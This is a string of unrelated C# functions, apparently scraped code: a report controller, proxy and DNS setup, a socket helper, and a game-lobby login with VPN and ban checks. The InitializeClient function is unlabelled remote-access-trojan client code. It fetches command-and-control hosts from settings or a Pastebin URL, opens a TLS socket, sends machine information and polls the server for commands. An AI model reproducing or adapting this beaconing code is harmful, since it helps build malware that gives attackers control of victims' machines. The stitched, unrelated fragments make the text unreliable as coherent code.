"m_sp_rpt008_DailyReport"; cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.Add(new SqlParameter("@period", SqlDbType.Int) { Value = Convert.ToInt32(period) }); cmd.Parameters.Add(new SqlParameter("@ProcessCode", SqlDbType.NVarChar) { Value = Process }); if (cmd.Connection.State != ConnectionState.Open) { cmd.Connection.Open(); } var DbReader = cmd.ExecuteReader(); if (DbReader.HasRows) { dt.Load(DbReader); if (dt.Columns.Count > 1) { foreach (DataRow dr in dt.Select()) { if (dr["RowNumber"] != System.DBNull.Value) { rownumber = Convert.ToInt32(dr["RowNumber"]); } if (dr["period"] != System.DBNull.Value) { _period = (string)dr["period"]; } if (dr["MachineCode"] != System.DBNull.Value) { MachineCode = (string)dr["MachineCode"]; } if (dr["Model"] != System.DBNull.Value) { model = (string)dr["Model"]; } if (dr["FCode"] != System.DBNull.Value) { fcode = (string)dr["FCode"]; } if (dr["Material"] != System.DBNull.Value) { material = (string)dr["Material"]; } if (dr["total"] != System.DBNull.Value) { total = (int)dr["total"]; } //if (dr["D01"] != System.DBNull.Value) //{ // D01 = (int)dr["D01"]; //} //if (dr["D02"] != System.DBNull.Value) //{ // D02 = (int)dr["D02"]; //} //if (dr["D03"] != System.DBNull.Value) //{ // D03 = (int)dr["D03"]; //} //if (dr["D04"] != System.DBNull.Value) //{ // D04 = (int)dr["D04"]; //} //if (dr["D05"] != System.DBNull.Value) //{ // D05 = (int)dr["D05"]; //} //if (dr["D06"] != System.DBNull.Value) //{ // D06 = (int)dr["D06"]; //} //if (dr["D07"] != System.DBNull.Value) //{ // D07 = (int)dr["D07"]; //} //if (dr["D08"] != System.DBNull.Value) //{ // D08 = (int)dr["D08"]; //} //if (dr["D09"] != System.DBNull.Value) //{ // D09 = (int)dr["D09"]; //} //if (dr["D10"] != System.DBNull.Value) //{ // D10 = (int)dr["D10"]; //} //if (dr["D11"] != System.DBNull.Value) //{ // D11 = (int)dr["D11"]; //} //if (dr["D12"] != System.DBNull.Value) //{ // D12 = (int)dr["D12"]; //} //if (dr["D13"] != System.DBNull.Value) //{ // D13 = (int)dr["D13"]; //} //if (dr["D14"] != System.DBNull.Value) //{ // D14 = (int)dr["D14"]; //} //if (dr["D15"] != System.DBNull.Value) //{ // D15 = (int)dr["D15"]; //} //if (dr["D16"] != System.DBNull.Value) //{ // D16 = (int)dr["D16"]; //} //if (dr["D17"] != System.DBNull.Value) //{ // D17 = (int)dr["D17"]; //} //if (dr["D18"] != System.DBNull.Value) //{ // D18 = (int)dr["D18"]; //} //if (dr["D19"] != System.DBNull.Value) //{ // D19 = (int)dr["D19"]; //} //if (dr["D20"] != System.DBNull.Value) //{ // D20 = (int)dr["D20"]; //} //if (dr["D21"] != System.DBNull.Value) //{ // D21 = (int)dr["D21"]; //} //if (dr["D22"] != System.DBNull.Value) //{ // D22 = (int)dr["D22"]; //} //if (dr["D23"] != System.DBNull.Value) //{ // D23 = (int)dr["D23"]; //} //if (dr["D24"] != System.DBNull.Value) //{ // D24 = (int)dr["D24"]; //} //if (dr["D25"] != System.DBNull.Value) //{ // D25 = (int)dr["D25"]; //} //if (dr["D26"] != System.DBNull.Value) //{ // D26 = (int)dr["D26"]; //} //if (dr["D27"] != System.DBNull.Value) //{ // D27 = (int)dr["D27"]; //} //if (dr["D28"] != System.DBNull.Value) //{ // D28 = (int)dr["D28"]; //} //if (dr["D29"] != System.DBNull.Value) //{ // D29 = (int)dr["D29"]; //} //if (dr["D30"] != System.DBNull.Value) //{ // D30 = (int)dr["D30"]; //} //if (dr["D31"] != System.DBNull.Value) //{ // D31 = (int)dr["D31"]; //} //if (dr["N01"] != System.DBNull.Value) //{ // N01 = (int)dr["N01"]; //} //if (dr["N02"] != System.DBNull.Value) //{ // N02 = (int)dr["N02"]; //} //if (dr["N03"] != System.DBNull.Value) //{ // N03 = (int)dr["N03"]; //} //if (dr["N04"] != System.DBNull.Value) //{ // N04 = (int)dr["N04"]; //} //if (dr["N05"] != System.DBNull.Value) //{ // N05 = (int)dr["N05"]; //} //if (dr["N06"] != System.DBNull.Value) //{ // N06 = (int)dr["N06"]; //} //if (dr["N07"] != System.DBNull.Value) //{ // N07 = (int)dr["N07"]; //} //if (dr["N08"] != System.DBNull.Value) //{ // N08 = (int)dr["N08"]; //} //if (dr["N09"] != System.DBNull.Value) //{ // N09 = (int)dr["N09"]; //} //if (dr["N10"] != System.DBNull.Value) //{ // N10 = (int)dr["N10"]; //} //if (dr["N11"] != System.DBNull.Value) //{ // N11 = (int)dr["N11"]; //} //if (dr["N12"] != System.DBNull.Value) //{ // N12 = (int)dr["N12"]; //} //if (dr["N13"] != System.DBNull.Value) //{ // N13 = (int)dr["N13"]; //} //if (dr["N14"] != System.DBNull.Value) //{ // N14 = (int)dr["N14"]; //} //if (dr["N15"] != System.DBNull.Value) //{ // N15 = (int)dr["N15"]; //} //if (dr["N16"] != System.DBNull.Value) //{ // N16 = (int)dr["N16"]; //} //if (dr["N17"] != System.DBNull.Value) //{ // N17 = (int)dr["N17"]; //} //if (dr["N18"] != System.DBNull.Value) //{ // N18 = (int)dr["N18"]; //} //if (dr["N19"] != System.DBNull.Value) //{ // N19 = (int)dr["N19"]; //} //if (dr["N20"] != System.DBNull.Value) //{ // N20 = (int)dr["N20"]; //} //if (dr["N21"] != System.DBNull.Value) //{ // N21 = (int)dr["N21"]; //} //if (dr["N22"] != System.DBNull.Value) //{ // N22 = (int)dr["N22"]; //} //if (dr["N23"] != System.DBNull.Value) //{ // N23 = (int)dr["N23"]; //} //if (dr["N24"] != System.DBNull.Value) //{ // N24 = (int)dr["N24"]; //} //if (dr["N25"] != System.DBNull.Value) //{ // N25 = (int)dr["N25"]; //} //if (dr["N26"] != System.DBNull.Value) //{ // N26 = (int)dr["N26"]; //} //if (dr["N27"] != System.DBNull.Value) //{ // N27 = (int)dr["N27"]; //} //if (dr["N28"] != System.DBNull.Value) //{ // N28 = (int)dr["N28"]; //} //if (dr["N29"] != System.DBNull.Value) //{ // N29 = (int)dr["N29"]; //} //if (dr["N30"] != System.DBNull.Value) //{ // N30 = (int)dr["N30"]; //} //if (dr["N31"] != System.DBNull.Value) //{ // N31 = (int)dr["N31"]; //} //for(var i = 0; i < 31; i++) // { // var day_no = "0" + (i + 1); // day_no = day_no.Substring(day_no.Length - 2); // D.Add((int)dr["D" + day_no]); // } dailyReport = new DailyReport { RowNumber = rownumber, MachineCode = MachineCode, period = _period, FCode = fcode, Model = model, total = total, //D01 = D01, //D02 = D02, //D03 = D03, //D04 = D04, //D05 = D05, //D06 = D06, //D07 = D07, //D08 = D08, //D09 = D09, //D10 = D10, //D11 = D11, //D12 = D12, //D13 = D13, //D14 = D14, //D15 = D15, //D16 = D16, //D17 = D17, //D18 = D18, //D19 = D19, //D20 = D20, //D21 = D21, //D22 = D22, //D23 = D23, //D24 = D24, //D25 = D25, //D26 = D26, //D27 = D27, //D28 = D28, //D29 = D29, //D30 = D30, //D31 = D31, //N01 = N01, //N02 = N02, //N03 = N03, //N04 = N04, //N05 = N05, //N06 = N06, //N07 = N07, //N08 = N08, //N09 = N09, //N10 = N10, //N11 = N11, //N12 = N12, //N13 = N13, //N14 = N14, //N15 = N15, //N16 = N16, //N17 = N17, //N18 = N18, //N19 = N19, //N20 = N20, //N21 = N21, //N22 = N22, //N23 = N23, //N24 = N24, //N25 = N25, //N26 = N26, //N27 = N27, //N28 = N28, //N29 = N29, //N30 = N30, //N31 = N31, }; list_DailyReport.Add(dailyReport); } //ViewBag.table = dt; //ViewData.Model = dt.AsEnumerable(); } else { } } cmd.Connection.Close(); } } catch (SqlException ex) { msgj = ex.Message; dt.Columns.Add("SqlStatus", typeof(System.String)); dt.Columns.Add("SqlErrtext", typeof(System.String)); foreach (DataRow dr in dt.Select()) { dr["SqlStatus"] = "Error"; dr["SqlErrtext"] = msgj; } } var list = list_DailyReport.Where(w => array.Contains(w.RowNumber)).ToList(); ViewBag.listdata = list; //Thread.Sleep(5000); return(View(dt)); }
public static void InitializeClient() { try { TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, }; if (Settings.Pastebin == "null") { string ServerIP = Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]; int ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]); if (IsValidDomainName(ServerIP)) //check if the address is alphanumric (meaning its a domain) { IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's { try { TcpClient.Connect(theaddress, ServerPort); //lets try and connect! if (TcpClient.Connected) { break; } } catch { } } } else { TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) } } else { using (WebClient wc = new WebClient()) { NetworkCredential networkCredential = new NetworkCredential("", ""); wc.Credentials = networkCredential; string resp = wc.DownloadString(Settings.Pastebin); string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); Settings.Hosts = spl[0]; Settings.Ports = spl[new Random().Next(1, spl.Length)]; TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); } } if (TcpClient.Connected) { Debug.WriteLine("Connected!"); IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); Send(Methods.SendInfo()); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else { IsConnected = false; return; } } catch { Debug.WriteLine("Disconnected!"); IsConnected = false; return; } }
public static String GetUsername() { return(Dns.GetHostName()); }
/// <summary> /// 连接到远程端 /// </summary> /// <param name="hostNameOrAddress">域名或ip地址</param> /// <param name="port">远程端口</param> /// <exception cref="ArgumentNullException"></exception> /// <exception cref="ArgumentOutOfRangeException"></exception> /// <exception cref="ArgumentException"></exception> /// <exception cref="SocketException"></exception> /// <returns></returns> public Task <bool> Connect(string hostNameOrAddress, int port) { var ipAddress = Dns.GetHostAddresses(hostNameOrAddress); return(this.Connect(ipAddress.Last(), port)); }
public void InitProxy(ServerConfig serverConfig) { // dispose old SocksWebProxy if (webProxy is SocksWebProxy proxy) { proxy.Dispose(); } webProxy = null; webProxyUrl = serverConfig.GetProxyUrl(); if (serverConfig.ProxyType == ProxyType.Disabled || string.IsNullOrWhiteSpace(webProxyUrl)) { return; } if (serverConfig.ProxyType == ProxyType.Http) { NetworkCredential creds = null; if (!serverConfig.ProxyIsAnonymous) { var username = serverConfig.ProxyUsername; var password = serverConfig.ProxyPassword; creds = new NetworkCredential(username, password); } webProxy = new WebProxy(serverConfig.GetProxyUrl(false)) // proxy URL without credentials { BypassProxyOnLocal = false, Credentials = creds }; } else if (serverConfig.ProxyType == ProxyType.Socks4 || serverConfig.ProxyType == ProxyType.Socks5) { // in case of error in DNS resolution, we use a fake proxy to avoid leaking the user IP (disabling proxy) // https://github.com/Jackett/Jackett/issues/8826 var addresses = new [] { new IPAddress(2130706433) }; // 127.0.0.1 try { addresses = Dns.GetHostAddressesAsync(serverConfig.ProxyUrl).Result; } catch (Exception e) { logger.Error($"Unable to resolve proxy URL: {serverConfig.ProxyUrl}. The proxy will not work properly.\n{e}"); } var socksConfig = new ProxyConfig { SocksAddress = addresses.FirstOrDefault(), Username = serverConfig.ProxyUsername, Password = serverConfig.ProxyPassword, Version = serverConfig.ProxyType == ProxyType.Socks4 ? ProxyConfig.SocksVersion.Four : ProxyConfig.SocksVersion.Five }; if (serverConfig.ProxyPort.HasValue) { socksConfig.SocksPort = serverConfig.ProxyPort.Value; } webProxy = new SocksWebProxy(socksConfig, false); } else { throw new Exception($"Proxy type '{serverConfig.ProxyType}' is not implemented!"); } }
protected virtual void SetDns() { if(_dns != null) { return; } if(!SupportedDns(_ipop_config.Dns.Type) || _ipop_config.Dns.Type == "StaticDns") { _dns = new StaticDns( MemBlock.Reference(Utils.StringToBytes(_dhcp_config.IPBase, '.')), MemBlock.Reference(Utils.StringToBytes(_dhcp_config.Netmask, '.')), _ipop_config.Dns.NameServer, _ipop_config.Dns.ForwardQueries); } }
public LoginResponse Login(User user, Login login, ClientConnection client) { string ip = client.RemoteEndpointIP; long userID = login.UserID; string lobbyVersion = login.LobbyVersion; using (var db = new ZkDataContext()) { Account acc = db.Accounts.Include(x => x.Clan).Include(x => x.Faction).FirstOrDefault(x => x.Name == login.Name); if (acc == null) { return new LoginResponse { ResultCode = LoginResponse.Code.InvalidName } } ; if (!acc.VerifyPassword(login.PasswordHash)) { return new LoginResponse { ResultCode = LoginResponse.Code.InvalidPassword } } ; acc.Country = ResolveCountry(ip); if (acc.Country == null || String.IsNullOrEmpty(acc.Country)) { acc.Country = "unknown"; } acc.LobbyVersion = lobbyVersion; acc.LastLogin = DateTime.UtcNow; user.ClientType = login.ClientType; user.LobbyVersion = login.LobbyVersion; UpdateUserFromAccount(user, acc); LogIP(db, acc, ip); LogUserID(db, acc, userID); db.SaveChanges(); var banMute = Punishment.GetActivePunishment(acc.AccountID, ip, userID, x => x.BanMute, db); if (banMute != null) { user.BanMute = true; } Punishment banPenalty = Punishment.GetActivePunishment(acc.AccountID, ip, userID, x => x.BanLobby, db); if (banPenalty != null) { return (BlockLogin( string.Format("Banned until {0} (match to {1}), reason: {2}", banPenalty.BanExpires, banPenalty.AccountByAccountID.Name, banPenalty.Reason), acc, ip, userID)); } Account accAnteep = db.Accounts.FirstOrDefault(x => x.AccountID == 4490); if (accAnteep != null) { if (accAnteep.AccountUserIDs.Any(y => y.UserID == userID)) { Talk(String.Format("Suspected Anteep smurf: {0} (ID match {1}) {2}", acc.Name, userID, string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl))); } if (userID > 0 && userID < 1000) { Talk(String.Format("Suspected Anteep smurf: {0} (too short userID {1}) {2}", acc.Name, userID, string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl))); } if (accAnteep.AccountIPs.Any(y => y.IP == ip)) { Talk(String.Format("Suspected Anteep smurf: {0} (IP match {1}) {2}", acc.Name, ip, string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl))); } } if (!acc.HasVpnException && GlobalConst.VpnCheckEnabled) { // check user IP against http://dnsbl.tornevall.org // does not catch all smurfs // mostly false positives, do not use string reversedIP = string.Join(".", ip.Split('.').Reverse().ToArray()); try { IPAddress[] resolved = Dns.GetHostEntry(string.Format("{0}.dnsbl.tornevall.org", reversedIP)).AddressList; if (resolved.Length > 0) { Talk(String.Format("User {0} {3} has IP {1} on dnsbl.tornevall.org ({2} result/s)", acc.Name, ip, resolved.Length, string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl))); } } catch (SocketException sockEx) { // not in database, do nothing } } try { if (!acc.HasVpnException) { for (int i = 0; i <= 1; i++) { var whois = new Whois(); Dictionary <string, string> data = whois.QueryByIp(ip, i == 1); if (!data.ContainsKey("netname")) { data["netname"] = "UNKNOWN NETNAME"; } if (!data.ContainsKey("org-name")) { data["org-name"] = "UNKNOWN ORG"; } if (!data.ContainsKey("abuse-mailbox")) { data["abuse-mailbox"] = "no mailbox"; } if (!data.ContainsKey("notify")) { data["notify"] = "no notify address"; } if (!data.ContainsKey("role")) { data["role"] = "UNKNOWN ROLE"; } if (!data.ContainsKey("descr")) { data["descr"] = "no description"; } if (!data.ContainsKey("remarks")) { data["remarks"] = "no remarks"; } List <string> blockedCompanies = db.BlockedCompanies.Select(x => x.CompanyName.ToLower()).ToList(); List <string> blockedHosts = db.BlockedHosts.Select(x => x.HostName).ToList(); /*if (acc.Country == "MY") * { * client.Say(SayPlace.User, "KingRaptor", String.Format("USER {0}\nnetname: {1}\norgname: {2}\ndescr: {3}\nabuse-mailbox: {4}", * acc.Name, data["netname"], data["org-name"], data["descr"], data["abuse-mailbox"]), false); * }*/ bool blockedHost = blockedHosts.Any(x => data["abuse-mailbox"].Contains(x)) || (blockedHosts.Any(x => data["notify"].Contains(x))); foreach (string company in blockedCompanies) { if (data["netname"].ToLower().Contains(company) || data["org-name"].ToLower().Contains(company) || data["descr"].ToLower().Contains(company) || data["role"].ToLower().Contains(company) || data["remarks"].ToLower().Contains(company)) { blockedHost = true; break; } } string hostname = Dns.GetHostEntry(ip).HostName; if (blockedHosts.Any(hostname.Contains)) { blockedHost = true; } if (blockedHost) { return(BlockLogin("Connection using proxy or VPN is not allowed! (You can ask for exception)", acc, ip, userID)); } } } } catch (SocketException sockEx) {} catch (Exception ex) { Trace.TraceError("VPN check error: {0}", ex); } return(new LoginResponse { ResultCode = LoginResponse.Code.Ok }); } } string ResolveCountry(string ip) { if (IsLanIP(ip)) { return("CZ"); } else { try { return(geoIP.Country(ip).Country.IsoCode); } catch (Exception ex) { Trace.TraceWarning("{0} Unable to resolve country", this); return("??"); } } } LoginResponse BlockLogin(string reason, Account acc, string ip, long user_id) { Talk(string.Format("Login denied for {0} IP:{1} ID:{2} reason: {3}", acc.Name, ip, user_id, reason)); return(new LoginResponse { Reason = reason, ResultCode = LoginResponse.Code.Banned }); }